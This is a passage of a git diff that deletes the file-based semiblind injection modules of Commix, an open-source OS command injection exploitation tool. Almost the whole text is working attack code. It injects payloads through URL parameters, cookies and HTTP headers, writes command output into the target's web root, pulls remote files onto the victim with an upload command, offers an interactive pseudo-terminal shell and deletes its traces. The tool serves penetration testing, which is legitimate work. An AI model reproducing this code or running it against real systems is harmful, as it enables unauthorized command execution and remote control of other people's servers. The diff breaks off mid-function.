file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - if menu.options.file_write: - file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py deleted file mode 100755 index 5d460723fb..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ /dev/null @@ -1,687 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.file_based import fb_payloads -from src.core.injections.semiblind.techniques.file_based import fb_enumeration -from src.core.injections.semiblind.techniques.file_based import fb_file_access -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check ff temp-based technique has failed, -then use the "/tmp/" directory for tempfile-based technique. -""" -def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): - if no_result == True: - info_msg = "Trying to create a file, in temporary " - info_msg += "directory (" + tmp_path + ") for command execution results.\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - return call_tfb - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -""" -Provide custom server's root directory -""" -def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == "win" : - example_root_dir = "\\inetpub\\wwwroot" - else: - example_root_dir = "/var/www" - question_msg = "Please provide the host's root directory (e.g. '" - question_msg += example_root_dir + "') > " - settings.WEB_ROOT = _input(settings.print_question_msg(question_msg)) - if settings.WEB_ROOT.endswith(("\\", "/")): - settings.WEB_ROOT = settings.WEB_ROOT[:-1] - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = example_root_dir - if menu.options.web_root: - menu.options.web_root = settings.WEB_ROOT - settings.CUSTOM_WEB_ROOT = True - -""" -Return TEMP path for win / *nix targets. -""" -def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - # Set temp path - if settings.TARGET_OS == "win": - if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = "C:\\Windows\TEMP\\" - else: - settings.TMP_PATH = "%temp%\\" - else: - settings.TMP_PATH = "/tmp/" - - if menu.options.tmp_path: - tmp_path = menu.options.tmp_path - else: - tmp_path = settings.TMP_PATH - - if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: - settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT - - if menu.options.file_dest and '/tmp/' in menu.options.file_dest: - call_tmp_based = True - else: - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" - except IndexError: - pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - - return tmp_path - -""" -The "file-based" injection technique handler -""" -def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - exit_loops = False - no_result = True - is_encoded = False - stop_injection = False - call_tmp_based = False - next_attack_vector = False - export_injection_info = False - - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - - if not settings.LOAD_SESSION or settings.RETEST == True: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT - info_msg += "' for command execution results. " - print(settings.print_info_msg(info_msg)) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - # Check if defined alter shell - alter_shell = menu.options.alter_shell - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION: - try: - settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + ".txt" - session_handler.notification(url, technique, injection_type) - if technique == "tempfile-based injection technique": - #settings.LOAD_SESSION = True - tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - i = i + 1 - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - try: - # File-based decision payload (check if host is vulnerable). - if alter_shell : - payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - - # Check if defined "--prefix" option. - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP Header Injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP Header Injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to Referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP Header Injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to Host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) - - # Find the directory. - output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) - time.sleep(timesec) - - try: - - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - - # Evaluate test results. - output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - html_data = output.read() - shell = re.findall(r"" + TAG + "", str(html_data)) - - if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: - percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if len(shell) == 0 : - raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) - - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if call_tmp_based == True: - exit_loops = True - tmp_path = os.path.split(menu.options.file_dest)[0] + "/" - tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - raise - - # Show an error message, after N failed tries. - # Use the "/tmp/" directory for tempfile-based technique. - elif i == int(menu.options.failed_tries) and no_result == True : - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " - tmp_upload = _input(settings.print_question_msg(question_msg)) - else: - tmp_upload = "" - if len(tmp_upload) == 0: - tmp_upload = "Y" - if tmp_upload in settings.CHOICE_YES: - exit_loops = True - settings.TEMPFILE_BASED_STATE = True - call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb != False: - return True - else: - if no_result == True: - return False - else: - return True - elif tmp_upload in settings.CHOICE_NO: - break - elif tmp_upload in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - raise - else: - err_msg = "'" + tmp_upload + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - continue - - else: - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - continue - else: - raise - - elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization required!" - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except KeyboardInterrupt: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - if 'vuln_parameter' in locals(): - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except _urllib.error.URLError as e: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - err_msg = str(e).replace(": "," (") + ")." - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - continue - - except: - raise - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - settings.FILE_BASED_STATE = True - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if not settings.VERBOSITY_LEVEL != 0 and \ - not menu.options.alter_shell and \ - not next_attack_vector: - next_attack_vector = True - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = "Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - if not menu.file_access_options() and not menu.options.os_cmd: - if not settings.VERBOSITY_LEVEL != 0 and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again= "Y" - if file_access_again in settings.CHOICE_YES: - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - - try: - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - # Delete previous shell (text) files (output) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - time.sleep(timesec) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Command execution results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - - if not shell or shell == "": - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - except KeyboardInterrupt: - # if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - if fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - return False - -# eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py deleted file mode 100755 index c22a01a34e..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ /dev/null @@ -1,342 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import json -import string -import random -import base64 -from src.utils import menu -from src.utils import settings -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_payloads - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Encoding spaces. - payload = payload.replace(" ","%20") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - return response, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - -""" -The main command injection exploitation. -""" -def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # Execute shell commands on vulnerable host. - if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) - 